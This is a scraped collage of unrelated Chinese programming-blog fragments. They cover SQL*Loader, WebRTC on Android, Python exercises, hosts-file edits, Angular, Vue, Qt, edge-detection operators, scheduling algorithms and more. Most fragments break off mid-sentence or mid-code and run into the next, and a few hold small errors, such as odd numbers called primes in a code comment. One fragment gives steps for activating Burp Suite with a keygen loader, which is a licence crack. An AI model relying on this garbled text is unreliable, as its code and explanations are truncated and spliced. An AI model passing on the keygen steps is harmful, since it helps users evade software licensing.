创建测试表: create table DEMO ( DEPTNO NUMBER(2) not null, DNAME VARCHAR2(14), LOC VARCHAR2(13) ); 例子1:装载定界数据类型为csv(Comma-Separated Value)
C:sqlldr userid=scott/tiger control=load.ctl data=data.csv direct=y
load.ctl内容如下:
LOAD DATA INFILE * INTO TABLE DEMO TRUNCATE FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' (DEPTNO,
DNAME,
LOC
) 数据文件data.csv的内容如下:
"10","ACCOUNTING","NEW YORK"
"20","RESEARCH","DALLAS"
"30","SALES","""CHICAGO"""
"40","OPERATIONS","BOSTON"
"50","","Virginia"
"60",,"Virginia"
例子2:装载定界数据类型为tsv(制表符分隔)
C:sqlldr userid=scott/tiger control=load.ctl data=data.tsv direct=y
load.ctl内容如下:
LOAD DATA INFILE * INTO TABLE DEMO TRUNCATE FIELDS TERMINATED BY X'09'
文章目录 基本概念Android上实现一个WebRTC项目引入依赖包初始化核心类PeerConnectionFactory设置相关ICE设置初始化控件采集本地视频流并且渲染视频创建PeerConnection对象连接服务器渲染远端视频流使用DataChannel进行数据传递流程图 WebRTC协议详解传输层协议RTCPeerConnection通道P2P内网穿透媒体协议数据协议DataChannelSCTP 这一篇我们来讲一下WebRTC协议,之前我总结过一篇各种网络协议的总结,没看过的朋友建议先看下这篇web知识梳理,有助于加深这篇关于WebRTC的理解。
基本概念 WebRTC是由Google主导的,由一组标准、协议和JavaScript API组成,用于实现浏览器之间(端到端之间)的音频、视频及数据共享。WebRTC不需要安装任何插件,通过简单的JavaScript API就可以使得实时通信变成一种标准功能。
现在各大浏览器以及终端已经逐渐加大对WebRTC技术的支持。下图是webrtc官网给出的现在已经提供支持了的浏览器和平台。
Android上实现一个WebRTC项目 在深入讲解协议之前,我们先来看实例。我们先来看下在Android中实现一个WebRTC的代码示例。
引入依赖包 首先,引入WebRTC依赖包,这里我是使用Nodejs下的socket.io库实现WebRTC信令服务器的,所以也要引入socket.io依赖包。
dependencies { implementation 'io.socket:socket.io-client:1.0.0' implementation 'org.webrtc:google-webrtc:1.0.+' implementation 'pub.devrel:easypermissions:1.0.0' } 初始化核心类PeerConnectionFactory PeerConnectionFactory.initialize( PeerConnectionFactory.InitializationOptions.builder(getApplicationContext()) .setEnableVideoHwAcceleration(true) .createInitializationOptions()); //创建PeerConnectionFactory PeerConnectionFactory.Options options = new PeerConnectionFactory.Options(); mPeerConnectionFactory = new PeerConnectionFactory(options); //设置视频Hw加速,否则视频播放闪屏 mPeerConnectionFactory.setVideoHwAccelerationOptions(mEglBase.getEglBaseContext(), mEglBase.getEglBaseContext()); 设置相关ICE设置 private void initConstraints() { iceServers = new LinkedList<>(); iceServers.add(PeerConnection.IceServer.builder("stun:23.21.150.121").createIceServer()); iceServers.add(PeerConnection.IceServer.builder("stun:stun.l.google.com:19302").createIceServer()); pcConstraints = new MediaConstraints(); pcConstraints.optional.add(new MediaConstraints.KeyValuePair("DtlsSrtpKeyAgreement", "true")); pcConstraints.optional.add(new MediaConstraints.KeyValuePair("RtpDataChannels", "true")); sdpConstraints = new MediaConstraints(); sdpConstraints.mandatory.add(new MediaConstraints.KeyValuePair("OfferToReceiveAudio", "true")); sdpConstraints.mandatory.add(new MediaConstraints.
第 1 题,输出九九乘法表
分析思路:
1. for 循环机制,先取第一个for循环i的第1个值,跟j遍历完来组合。11 12 13 ... 21 22 23...
得出结论,此处的 i 无需做限制。
2. 找规律
第1行: j = 1 i = 1
第2行: j = 1,2 i = 2
第3行: j = 1,2,3 i = 3
得出结论:j 的最大取值不可大于 i ,只能小于等于,故限制 j 取值范围(1, i+1) => range 函数左闭右开
3. 注意点:
必须使用格式化输出,\t制表符排版,j 遍历完一次就必须换行。
for i in range(1, 10): for j in range(1, i+1): print("%d*%d=%d" % (j, i, i*j), end="\t") print() 1*1=1 1*2=2 2*2=4 1*3=3 2*3=6 3*3=9 1*4=4 2*4=8 3*4=12 4*4=16 1*5=5 2*5=10 3*5=15 4*5=20 5*5=25 1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36 1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49 1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64 1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81 第 2 题,有 1 2 3 4 这四个数字,能组成多少个互相不同且无重复数字的 3 位数,分别是什么。
声明:此文章为转载,为自己方便查看,原作者如下 作者:永远的卡尔
来源:CSDN
原文:https://blog.csdn.net/wl_521/article/details/80154063
1)站长工具域名解析网址:http://tool.chinaz.com/dns/
2)输入github的网址寻找DNS服务器,如下图所示:
3)在以下地址中找到TTL值最小的IP,复制
4)如下如所示,打开本机的HOSTS文件(对于不同的系统,寻找方法可能不同)
以win10系统为例,hosts文件的路径如下:
5)用记事本打开HOSTS文件,然后将刚才的地址和网址写在最后一行,如下图所示
6)保存之后,重新打开github,如果出现乱码,则重复上面的步奏,寻找assets-cdn.github.com的DNS地址,复制粘贴到HOSTS文件里面。如果,打开github时无法加载图片,同理寻找raw.githubusercontent.com的DNS地址,然后复制粘贴到HOSTS文件里面。
7)如果遇到类似的问题,可以打开浏览器工具,查看报错。
目录
Xamarin.Forms 微信支付宝支付接口
背景
接口实现
Xamarin.Forms 微信支付宝支付接口 背景 服务端已写好的,这里的是手机端的调用。
SDK 已转译好了,==https://download.csdn.net/download/qq_21121397/11501649==
接口实现 微信接口 1. 在xamarin.forms工程中添加接口
public interface IWeChat { void WXPay(Xamarin.AppFramework.WxPayReqItem req); } 1.1 微信支付请求参数的构成:以下代码using内容一样
using System; using System.Collections.Generic; using System.Text; using Newtonsoft.Json; /// <summary> /// 微信客户端付款请求参数:从服务器返回的。 /// 字段名称根据服务端定义的参数自行修改 /// </summary> public class WxPayReqItem { public string prepay_id { get; set; } public string nonceStr { get; set; } public string sign { get { return WxInfo.SecSign(prepay_id, nonceStr,timestamp); } } public string timestamp { get { TimeSpan ts = DateTime.
百度网盘: https://pan.baidu.com/s/1qAwIh1Gn_CQmwzOWLlIB_g
提取码: wph6
开始新的工作以后,发现记笔记的频率是越发的高了,有的时候需要异地的去回顾笔记,这就会变得麻烦,而且有时候还会误清理有用的笔记,这样就不得不去使用一个云笔记了。通过这几天的摸索使用,发现有一下几款常用的云笔记
1、印象笔记 官网:https://www.yinxiang.com/
描述:在你的手机和电脑上,使用印象笔记来捕捉、培养和共享灵感。跨平台的印象笔记将帮你随时随地快速获取和同步笔记信息。现代生活喧嚣繁杂,印象笔记帮你轻松简化一切,让生活更美好,让工作更省力。
优点:随时记录一切,支持所有设备,快速查找所需,无需跳出应用,即可基于笔记展开讨论,以用印象笔记保存一切,笔记会自动同步到所有设备。
2、OneNote 笔记 官网:http://www.onenote.com/
描述:MicrosoftOneNote,是一套用于自由形式的信息获取以及多用户协作工具。OneNote最常用于笔记本电脑或台式电脑,但这套软件更适合用于支持手写笔操作的平板电脑,在这类设备上可使用触笔、声音或视频创建笔记。
优点:树形目录,好管理,表格记笔记,比思维导图还好用,不拘格式,自由自在,自动编号管理缩进。
3、有道笔记 官网:http://note.youdao.com/
描述:有道云笔记是网易出品,获得5000万用户青睐的笔记软件。提供了PC端、移动端、网页端等多端应用,用户可以随时随地对线上资料进行编辑、分享以及协同。
4、为知笔记 官网:http://www.wiz.cn/
描述:为知笔记是基于轻文档的团队协作服务和个人效率工具的完美结合。为知笔记可以帮助团队共享资料、交流想法、记录事务;作为云笔记可以帮助个人永久保存重要信息,
优点:离线笔记 多级文件夹免费试用100天,也可以和团队成员共享资料、共同编辑、交流想法。为知盒子团队服务公司内网解决方案数据保存在公司内部。
5、麦库笔记: 官网:http://note.sdo.com/
描述:麦库记事让您快速,轻松地保存任何事情,用麦库创建笔记,拍照,或是备忘录,还可以随时随地通过手机、电脑,是一款不断创新不断进步的云中记事软件。记录、收藏、云保存同步、分享,协作、交流等等
优点:方便快捷地保存你要记住的想法和信息,搜索查找,整理分类。通过建立分类,来整理存储的资料,通过关键字搜索或者标签来方便的管理笔记,一边浏览,一边保存使用麦库网页剪辑器,或者麦库书签,一键即可保存您正在浏览的网站的信息,还能够智能识别正文内容,随时保存。
6、轻笔记 官网:http://www.qingbiji.cn/
描述:能够跨终端同步的记事软件,彻底解决以前“积累了10几个本子,可以群组记录的软件。这样我们就可以一同做笔记,一同完成一份工作。录入的方式也很多样,基于“云”存储,因此在存储空间上基本不受限制,特别的,由于是首款采用与网盘结合的笔记软件。
7、印记云笔记 官网:http://www.anybeen.com/
描述:一款小而快的记录笔记,提供丰富强大的语音输入、精美信纸、微信文章收藏、笔记导出、离线使用、云备份等功能,深受大家喜爱。
优点:前拥有网页端和 Android 客户端,界面主打清新风格,可以更换信纸。支持智能提醒功能,包括帮别人设置提醒等等。
作者:一个初入职场有梦想的小伙子
值得一读:程序员:你不得不学的说话技巧
个人网站:http://www.weichujin.com/tushu/ 个人博客:https://blog.csdn.net/qq_44333271
1.char类型的指针
char *names[]={"zhangsan","lisi","wangwu"};//可以这样初始化
这样,每个指针指向对应的字符串
2.其他类型的指针
int *nums[]={1,2,3,4,5};//不可以这样初始化
原因:指针的初始化或赋值可以使用0值、常量表达式、和类型匹配的对象 的地址。//指针需要用地址初始化
如上,字符串字面值常量类型为const char *,与指针类型匹配,可赋值。
整形字面值常量可以为int, long等类型,详见《C++ Primer》第二章2.2节。但给指针赋值应该是地址,即&i,VS2010下编译错误也会提示:不可将int 类型赋给int *类型。
3.
char *p1 = "12345"; //可以,含义为定义一个char*形指针,并且初始化地址
但是int *p1=12345;//不可以
总结:字符串字面值常量类型为const char *可以用来初始化指针。
整型常量的类型为int,不可以用来初始化指针
while 执行流程:先判断循环控制表达式 Exp_cntrl 的值,当该表达式的值为逻辑真(非 0)时,会一直执行循环体,直到表达式的值为逻辑假(0)才结束循环。
通常把循环控制表达式 ExP_cntrl 中含有的变量,称为循环控制变量。为了避免程序陷入死循环,必须要有能改变循环控制变量的语句,使循环控制表达式 Exp_cntrl 的值趋于逻辑假,以便使循环趋于终止。
【例 1】统计输出 100 以内的所有奇数之和。
分析:本题是重复执行“把 100 以内的当前奇数 1、3、5、7,… 累加求和”的相似操作,故采用循环结构。循环算法的关键是要确定循环条件表达式和循环体。
循环控制变量及初始条件确定:由题意可知,奇数 i 作为循环控制变量,初值为第一个奇数,即 i=1。另外,还有求和变量 sum=0。
循环条件表达式的确定:循环控制变量 i 为 [1,100] 间的奇数。故循环条件表达式为 i<=100。
循环体确定:该题循环体中包含以下两部分操作。
把当前奇数变量 i 累加到求和变量 sum 中,即 sum+=i;为计算当前奇数的下一个奇数做准备,也就是控制变量的增量部分,即 i+=2。 代码如下:
#include<stdio.h>
int main (void){
int sum=0,i=1; //i初始为第一个素数
while (i<=100) //循环执行的判断条件
{
sum+=i;
i+=2; //控制变量的增量
}
printf("sum=%d\n",sum);
return 0;
}
运行结果为:
sum=2500
需要说明的是,必须在零的基础上进行累加,故 sum 需要初始化为 0,否则将是无意义的随机值。循环控制条件不必刻意去思考最后一个奇数是否包含 100,让程序根据奇数的定义及相邻奇数的差值自行计算确定 100 以内的最后一个奇数。
do-while循环 do-while 循环的格式如下。
一般格式 (event)="模板语句" 例如:
(click)="onClick()" (click)="hidden=false" 两种写法都是合法的
$event 对象 $event 对象为 DOM 事件对象,一般经常使用到 event.target.value 获取当前元素的值。
$event 包含大量的信息,而其实绝大多数情况下,我们仅仅需要使用 event.target.value,因此,应该尽量避免使用 $event 传递值。
当你使用 $event 对象时需要注意, $event 对象总是有一个对应的类型,所以并不推荐到处使用 any 类型来偷懒,如果不知道类型所对应的名称是什么,可以尝试打印 typeof event 查看。
使用 $event 的小例子:
<input (keyup)="onKey($event)"> #var 模板引用变量 我们在 Angular 组件 中已经使用过了 模板引用变量。
模板引用变量的感觉比较像 DOM 元素变量化。
<input #box (keyup)="onKey(box.value)"> 如此就可以将 box 作为 DOM 元素本身来使用了,相对于 $event ,代码更加 “可读”。
绑定 “enter 事件” <input #box (keyup.enter)="onEnter(box.value)"> 自定义组件事件 .html
<input #textbox type="text" (keyup)="onKeyUp(textbox.value)"> .ts
@Output("onKeyUp") keyUp: EventEmitter<string> = new EventEmitter(); public onKeyUp(v: string): void { console.
第一个NodeJS服务器 1 NodeJS的安装
2 运行node
3浏览器访问 http://127.0.0.1:8888/
第一个NodeJS服务器
NodeJS创建第一个应用参考来源:
http://www.runoob.com/nodejs/nodejs-http-server.html
1 NodeJS的安装
64 位安装包下载地址 : https://nodejs.org/dist/v4.4.3/node-v4.4.3-x64.msi
安装node之后,开始菜单==>运行(管理员权限运行)==>cmd==> 命令 path( 验证nodeJS的exe或者msi程序是否安装成功 ) PATH=C:\oraclexe\app\oracle\product\10.2.0\server\bin;C:\Windows\system32; C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; c:\python32\python;C:\MinGW\bin;C:\Program Files\GTK2-Runtime\lib; C:\Program Files\MySQL\MySQL Server 5.5\bin;C:\Program Files\nodejs\; C:\Users\rg\AppData\Roaming\npm 我们可以看到环境变量中已经包含了C:\Program Files\nodejs\
1进入node.exe所在的目录 cd 2查看node版本 : node --version ( node -v ) 2 运行node
创建server.js文件并保存在本地,server.js内容为;
var http = require( 'http' ); http.createServer( function ( request , response ){ response.writeHead( 200 , { ' Content-Type ' : ' text / plain ' } ); response.
SharedPreferences.Editor commit(); apply();
commit和apply虽然都是原子性操作,但是原子的操作不同,commit是原子提交到数据库,所以从提交数据到存在Disk中都是同步过程,中间不可打断。而commit方法的原子提交是同步过程,效率会比apply异步提交的速度慢,但是apply没有返回值,永远无法知道存储是否失败。在不关心提交结果是否成功的情况下,优先考虑apply方法。
多态的特性,实现多态的方式有三种:重写、接口、抽象类和抽象方法。 这里是接口的多态特性,并且使用的是动态绑定(后期绑定)
目录
1 边缘检测的基本原理
2 边缘检测算子分类
3 梯度
3.1 图像梯度
3.2 梯度算子
4 Roberts 算子
4.1 基本原理
4.2 代码示例
5 Prewitt 算子
5.1 基本原理
5.2 代码示例
6 Sobel 算子
6.1 基本原理
6.2 代码示例
7 Laplacian 算子
7.1 基本原理
7.2 代码示例
8 小结
8.1 各类算子实验比较
8.2 各类算子的优缺点
参考资料
1 边缘检测的基本原理 图像边缘是图像最基本的特征,所谓边缘(Edge) 是指图像局部特性的不连续性。灰度或结构等信息的突变处称之为边缘。例如,灰度级的突变、颜色的突变,、纹理结构的突变等。边缘是一个区域的结束,也是另一个区域的开始,利用该特征可以分割图像。
如图1所示,当我们看到一个有边缘的物体时,首先感受到的就是边缘。
图1 灰度级跃变的边缘模型 图1(a)是一个理想的边缘所具备的特性。每个灰度级跃变到一个垂直的台阶上。而实际上,在图像采集系统的性能、采样率和获取图像的照明条件等因素的影响,得到的边缘往往是模糊的,边缘被模拟成具有“斜坡面”的剖面,如图1(b)所示,在这个模型中,模糊的边缘变得“宽”了,而清晰的边缘变得“窄”了。
图像的边缘有方向和幅度两种属性。边缘通常可以通过一阶导数或二阶导数检测得到。一阶导数是以最大值作为对应的边缘的位置,而二阶导数则以过零点作为对应边缘的位置。
2 边缘检测算子分类 (1)一阶导数的边缘算子
通过模板作为核与图像的每个像素点做卷积和运算,然后选取合适的阈值来提取图像的边缘。常见的有Roberts算子、Sobel算子和Prewitt算子。
(2)二阶导数的边缘算子
依据于二阶导数过零点,常见的有Laplacian 算子,此类算子对噪声敏感。
(3)其他边缘算子
前面两类均是通过微分算子来检测图像边缘,还有一种就是Canny算子,其是在满足一定约束条件下推导出来的边缘检测最优化算子。
3 梯度 3.1 图像梯度 为了达到寻找边缘的目的,检测灰度变化可用一阶导数或二阶导数来完成。下面将讨论一阶导数。
Android Studio中如何清理gradle缓存 as使用过程中,经常会遇到gradle缓存问题,常用的清理方式如下:
1、Build --> Clean Project
2、Build --> Rebuild Project
3、File -> Invalidate Caches/Restart
4、删除项目根目录下.idea/caches和.idea/libraries目录,然后Invalidate Caches/Restart
5、在as终端中执行./gradlew clean
#ifndef LINK_H #define LINK_H #include <QGraphicsItem> class Link : public QObject,public QGraphicsItem { Q_OBJECT Q_INTERFACES(QGraphicsItem) public: explicit Link(QObject *parent = 0); virtual QRectF boundingRect() const; virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget); void setLineItem(QPointF startP, QPointF endP); void setColor(QColor color); private: void CreatePointNodes(void); private: QPointF m_EndP;//这个点是直线的终点 QPointF m_points[3];//箭头端的三个端点 QColor m_Color; }; #endif // LINK_H #include "link.h" #include "math.h" #include <QPainter> Link::Link(QObject *parent) : QObject(parent) { //setFlag(ItemIsMovable); setFlag(ItemIsSelectable); setAcceptHoverEvents(true); m_Color = Qt::green; } QRectF Link::boundingRect() const { return QRectF(0, 0, m_EndP.
1 引包 install
npm install vue-xlsx-table --save 2 全局声明 main.js
import vueXlsxTable from 'vue-xlsx-table' Vue.use(vueXlsxTable, {rABS: false}) 3 使用
<template> <div id="app"> <h1>vue-xlsx-table</h1> <vue-xlsx-table @on-select-file="handleSelectedFile"></vue-xlsx-table> </div> </template> <script> export default { name: 'app', methods: { handleSelectedFile (convertedData) { console.log(convertedData) } } } </script> Tips:【小程序云开发】中高级前端面试题库(源码:小程序中联系我哟)。
---------- 创作不易,感谢大家,请多多支持!
我原本的代码头文件为
#include <iostream> #include <opencv2/core/core.hpp> #include <opencv2/highgui/highgui.hpp> #include <opencv2\imgproc\types_c.h>
#include <opencv2\opencv.hpp>
出现报错,cvtcolor,threshoid未定义标识符
加入头文件
#include <opencv2\opencv.hpp>
#include <opencv2\core\core.hpp>
#include <opencv2\highgui\highgui.hpp>
#include <opencv2\imgproc\imgproc.hpp>
#include <opencv2\objdetect\objdetect.hpp>
#include <opencv2\imgproc\types_c.h>
#include <opencv2\objdetect\objdetect_c.h>
具体是其中哪一句起了作用我也不晓得,但是都加上去后程序就能正常运行了,上图
这个demo是将摄像头录下的视频灰度化或者二值化后在输出,没有保存视频
学习笔记:python decod()和encode() 初学python爬虫,遇到了网页的编码转换,对其中decode()方法不是十分的了解,从网上查阅相关的资料后了解到,encode()是对字符串进行转码的方法,decode()是对字符串进行解码的方法。从网上爬取的网页源码大多会设置页面的encoding为utf-8,所以从网页上爬取的网页要进行decode(‘UTF-8’)解码。
Python中str类型变量和bytes变量的区别 str字符串类型,它在Python中的默认编码是Unicode,即该字符串在电脑磁盘上存储时由Python自动进行解码和编码。bytes数据类型则是没有经过Python经过任何处理的二进制比特流,使用时需要程序员根据特定的需求对它进行编码和解码的操作。
Python中编码和解码的代码演示 使用字符串类型,Python自动完成编码和解码。
将上面的字符串进行编码后变成一个bytes类型的输出结果(字符串前面的b表示这是一个byte对象)。
利用bytes对象的decod()方法对其进行解码后有重新变成正常的str类型的字符串。
边缘提取算子 一阶: Roberts算子、Sobel算子、Prewitt算子、Kirsch算子、Robinson算子
二阶: Laplacian算子、Canny算子、Marr-Hildreth(LoG算子)
Roberts 算子 在(i+1/2,j+1/2)处差分
转化为模板即为
Roberts算子,又称罗伯茨算子,是一种最简单的算子,是一种利用局部差分算子寻找边缘的算子。他采用对角线方向相邻两象素之差近似梯度幅值检测边缘。检测垂直边缘的效果好于斜向边缘,定位精度高,对噪声敏感,无法抑制噪声的影响。
Roberts算子检测方法对具有陡峭的低噪声的图像处理效果较好,但是提取边缘的结果是边缘比较粗,因此边缘的定位不是很准确。
Sobel算子 Sobel算法是一个离散的一阶差分算子,用来计算图像亮度函数的一阶梯度之近似值。在图像的任何一点使用此算子,将会产生该点对应的梯度矢量或是其法矢量。
Prewitt算子 Prewitt算子是一种一阶微分算子的边缘检测,利用像素点上下、左右邻点的灰度差,在边缘处达到极值检测边缘,去掉部分伪边缘,对噪声具有平滑作用。
其原理是在图像空间利用两个方向模板与图像进行邻域卷积来完成的,这两个方向模板一个检测水平边缘,一个检测垂直边缘。
Prewitt算子检测方法对灰度渐变和噪声较多的图像处理效果较好。但边缘较宽,而且间断点多。
对数字图像f(x,y),Prewitt算子的定义如下:
G(i)={[f(i-1,j-1)+f(i-1,j)+f(i-1,j+1)]-[f(i+1,j-1)+f(i+1,j)+f(i+1,j+1)]}
G(j)={[f(i-1,j+1)+f(i,j+1)+f(i+1,j+1)]-[f(i-1,j-1)+f(i,j-1)+f(i+1,j-1)]}
则P(i,j)=max[G(i),G(j)]或 P(i,j)=G(i)+G(j)
Kirsch算子 Kirsch算子是R.Kirsch提出来一种边缘检测算法,它采用8个3*3的模板对图像进行卷积,这8个模板代表8个方向,并取最大值作为图像的边缘输出,8个模板如下,它在保持细节和抗噪声方面都有较好的效果。
Robinson算子 规则同上,也是8个模板。
Laplacian算子 Laplacian算子法对噪声比较敏感,所以很少用该算子检测边缘,而是用来判断边缘像素视为与图像的明区还是暗区。
Laplacian 算子是n维欧几里德空间中的一个二阶微分算子,定义为梯度grad的散度div。可使用运算模板来运算这定理定律。
函数的拉普拉斯算子也是该数的黑塞矩阵的迹,可以证明,它具有各向同性,即与坐标轴方向无关,坐标轴旋转后梯度结果不变。
Laplacian 算子对噪声比较敏感,所以图像一般先经过平滑处理,因为平滑处理也是用模板进行的,所以,通常的分割算法都是把Laplacian 算子和平滑算子结合起来生成一个新的模板。
如果邻域系统是4 邻域,Laplacian 算子的模板为:
如果邻域系统是8 邻域,Laplacian 算子的模板为:
Canny算子 Canny方法不容易受噪声干扰,能够检测到真正的弱边缘。
优点在于,使用两种不同的阈值分别检测强边缘和弱边缘,并且当弱边缘和强边缘相连时,才将弱边缘包含在输出图像中。
该算子效果较好,但是它实现起来较为麻烦,Canny算子是一个具有滤波,增强,检测的多阶段的优化算子,在进行处理前,Canny算子先利用高斯平滑滤波器来平滑图像以除去噪声,Canny分割算法采用一阶偏导的有限差分来计算梯度幅值和方向,在处理过程中,Canny算子还将经过一个非极大值抑制的过程,最后Canny算子还采用两个阈值来连接边缘。
Canny边缘检测算法
step1: 用高斯滤波器平滑图象;
step2: 用一阶偏导的有限差分来计算梯度的幅值和方向;
step3: 对梯度幅值进行非极大值抑制
step4: 用双阈值算法检测和连接边缘
参考:
https://blog.csdn.net/fengye2two/article/details/79190759
https://blog.csdn.net/jiachen0212/article/details/80078685
https://www.cnblogs.com/zhuifeng-mayi/p/9563947.html
https://www.cnblogs.com/techyan1990/p/7291771.html
Marr-Hildreth(LoG算子) LoG可以看成是一个高斯模板的拉普拉斯变换 Laplace of Gaussian
(图像的高斯拉普拉斯(LoG),可利用差分高斯(DoG)近似)
参考:
好:LOG高斯-拉普拉斯算子 https://blog.csdn.net/touch_dream/article/details/62237018 DoG算子和LoG算子 https://blog.csdn.net/dreamguard/article/details/83988814
Problem Description As we all know, Brexit negotiations are on their way—but we still do not know whether they will actually finish in time.
The negotiations will take place topic-by-topic. To organise the negotiations in the most effective way, the topics will all be discussed and finalised in separate meetings, one meeting at a time.
This system exists partly because there are (non-cyclic) dependencies between some topics: for example, one cannot have a meaningful talk about tariffs before deciding upon the customs union.
# 存储账号信息,用于登录信息比对。已存在一个账号,用于初始比对新注册账号用户名是否已存在 member = [{"name": "root", "pwd": "python"}] account = {} # 存储图书清单,用于查询等操作 book_list = [] # 存储图书编号,用于后续操作首先识别输入的图书编号是否正确 book_id_list = [] # 存储图书名称,用于后续操作首先识别输入的图书名称是否正确 book_name_list = [] # 欢迎页面 def login_menu(): while True: print("="*50) print("欢迎访问图书管理系统!") print("【1】注册 【2】登录") login_request = input("请输入功能选项:") if login_request in ["1", "2"]: if login_request == "1": register() if login_request == "2": login() break else: print("输入有误,请重新输入!") # 注册 def register(): print("="*50) print("欢迎进入注册页面") register_name = input("请输入用户名:") for test_name in member: if register_name in test_name["
0x00 问题 点击burp-loader-keygen.jar, 然后点击run打不开
主要是想记录下来解决方法,因为真的没有百度到。。。
0x01 解决方法 其实很简单,更新你的JDK版本就好了
用java -version查看版本
我选择了自动检查更新。你也可以卸载重装
0x02 安装过程 大概写下安装过程
运行第一个文件
1.输入几个字母
2.点击run,会有弹窗
3.复制License框内容到弹出页面
4.点击next
5.点击Manual activation
6.按图示步骤
7.然后点击Next。
成功激活~~
在VUE的使用中,可能很多开发者都遇到过当改变了数据的时候,视图并没有产生变化,这时就需要用到这两种API来解决了
首先,我们先总结下那些情况下会遇到视图不更新的情况:
为对象新增一个属性
改变数组的长度,交换数组的顺序,利用索引修改数据
另外VUE包装了观察数组的变异方法,它们能触发视图的更新:
push() pop() shift() unshift() splice() sort() reverse() 一 数组举例
var vm = new Vue({ data: { items: ['a', 'b', 'c'] } }) vm.items[1] = 'x' // 不是响应性的 vm.items.length = 2 // 不是响应性的 处理办法:
vm.$set(vm.items, indexOfItem, newValue) this.$set(this.items,1,'x') 二 对象举例
var vm = new Vue({ data: { a: 1 } }) // `vm.a` 现在是响应式的 vm.b = 2 // `vm.b` 不是响应式的 解决办法:
Vue.set(vm.userProfile, 'age', 27) 好了,下面看下$nextTick的使用:
Spreadjs9使我们经常用到的一种表格插件,而当前插件没有现成的悬浮的属性,网上也有很多扩充悬浮属性的方法,但相关方法经常会有一些性能问题(因悬浮方法是单独设置)以及和原有属性冲突的情况,如下代码段可解决这个问题
1.首先重新定义悬浮的特性
想要悬浮和哪一种单元格属性共存则重写那种属性 TextCellType
`function TextCellType() {
//基础按钮 方法重置
GcSpread.Sheets.TextCellType.prototype.getHitInfo = function (x, y, cellStyle, cellRect, context) {
return {
x: window.event.clientX,//x//对于 行列位置处理
y: window.event.clientY,//y
row: context.row,
col: context.col,
cellStyle: cellStyle,
cellRect: cellRect,
sheetArea: context.sheetArea
};
};
GcSpread.Sheets.TextCellType.prototype.processMouseEnter = function (hitinfo) { var ActiveSheet = BBGridSpread.getActiveSheet(); if (this._toolTipElement) { try { document.body.removeChild(this._toolTipElement); } catch (e) { } this._toolTipElement = null; } if ($("#TipID")[0] != undefined) { try { document.body.removeChild($("#TipID")[0]); } catch (e) { } this.
ESP8266-WIFI模块使用AT指令连接外网服务器 第一步用java代码写一个服务器,代码如下:
代码解释:我是用nio写了一个,异步通信,用到了线程池,比较简单.当wifi模块连接后,会自动创建一个文件,用来保存 wifi模块发来的数据,这里大家可以脑洞大开实现别的功能了…
public class NIOEchoServer { public static void main(String[] args) throws Exception { new EchoServerHandle() ; } } /** * 实现一个专门用于客户端请求处理的线程对象 */ class SocketClientChannelThread implements Runnable { private SocketChannel clientChannel ; // 客户端的信息 private boolean flag = true ; // 循环处理的标记 public SocketClientChannelThread(SocketChannel clientChannel) { this.clientChannel = clientChannel ; System.out.println("服务器端连接成功,可以与服务器端进行数据的交互操作..."); } @Override public void run() { // 真正的通讯处理的核心需要通过run()方法来进行操作 createFile(null); //创建文件 // NIO是基于Buffer缓冲操作实现的功能,需要将输入的内容保存在缓存之中 ByteBuffer buffer = ByteBuffer.allocate(50) ; // 开辟一个50大小的缓存空间 try { while(this.
大半年的失踪人口回归,陆续会把草稿箱里的10+篇博客都补充完整,立flag!!!
优先权调度算法: 按照根据每个作业的优先数,依次执行每一个作业
非抢占式优先权调度算法:只确定一次作业的优先级,按照优先数由高到低依次执行每个作业,当前作业完成才能进行下一个作业
抢占式优先权调度算法:不同于非抢占式优先权调度算法,抢占式优先权调度算法会多次进行优先级排序。我们规定一个时间片,用来把一个作业分成多个部分。一个时间片内执行一个作业的一部分,每经过一个时间片,就进行一次优先级排序,每次都只执行优先级最高的作业,当然作业每执行一次,其优先级会降低。
有一群狮子抢食,同一时间只能一只狮子享用,根据物竞天择法则,应当是最强的那头先享用。
非抢占式是最强的吃完-->第二强的吃完-->........-->最弱吃完。像是一个有序的狮群,每头都服从领袖。
而抢占式的竞争更激烈,即使是决斗中的胜者,也只能安稳的吃一口,在这一口之后就会有其他狮子来决斗,再由新获胜的狮子来进食,即一直是每轮比试中的第一名享用。像是一个无领袖的狮群,每个都想当领袖。
下面上代码:
pcb类: package Processscheduling2; public class Pcb { public int id; public String state="stop";//状态 F完成 W等待 R运行 public int youxianshu;//优先数 public int needtime;//作业长短 public Pcb(int id,int youxinashu,int needtime){ this.id=id; this.youxianshu=youxinashu; this.needtime=needtime; } public Pcb(int id,int needtime){ this.id=id; // this.youxianshuu=youxinashu; this.needtime=needtime; } } 进程调度类: 偷个懒,用线程控制一个时间片的时间,也可以用系统时间差来规定时间片。
每执行一次,该作业所需时间-1,优先数-3
package Processscheduling2; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.Scanner; public class ProcessScheduling extends Thread { public static void main(String[] args) { // TODO Auto-generated method stub ProcessScheduling p = new ProcessScheduling(); p.
【题目描述】 农民约翰被选为他们镇的镇长!他其中一个竞选承诺就是在镇上建立起互联网,并连接到所有的农场。当然,他需要你的帮助。约翰已经给他的农场安排了一条高速的网络线路,他想把这条线路共享给其他农场。为了用最小的消费,他想铺设最短的光纤去连接所有的农场。你将得到一份各农场之间连接费用的列表,你必须找出能连接所有农场并所用光纤最短的方案。每两个农场间的距离不会超过100000。
【输入】 第一行:农场的个数,N(3≤N≤100)。
第二行..结尾:后来的行包含了一个N*N的矩阵,表示每个农场之间的距离。理论上,他们是N行,每行由N个用空格分隔的数组成,实际上,他们限制在80个字符,因此,某些行会紧接着另一些行。当然,对角线将会是0,因为不会有线路从第i个农场到它本身。
【输出】 只有一个输出,其中包含连接到每个农场的光纤的最小长度。
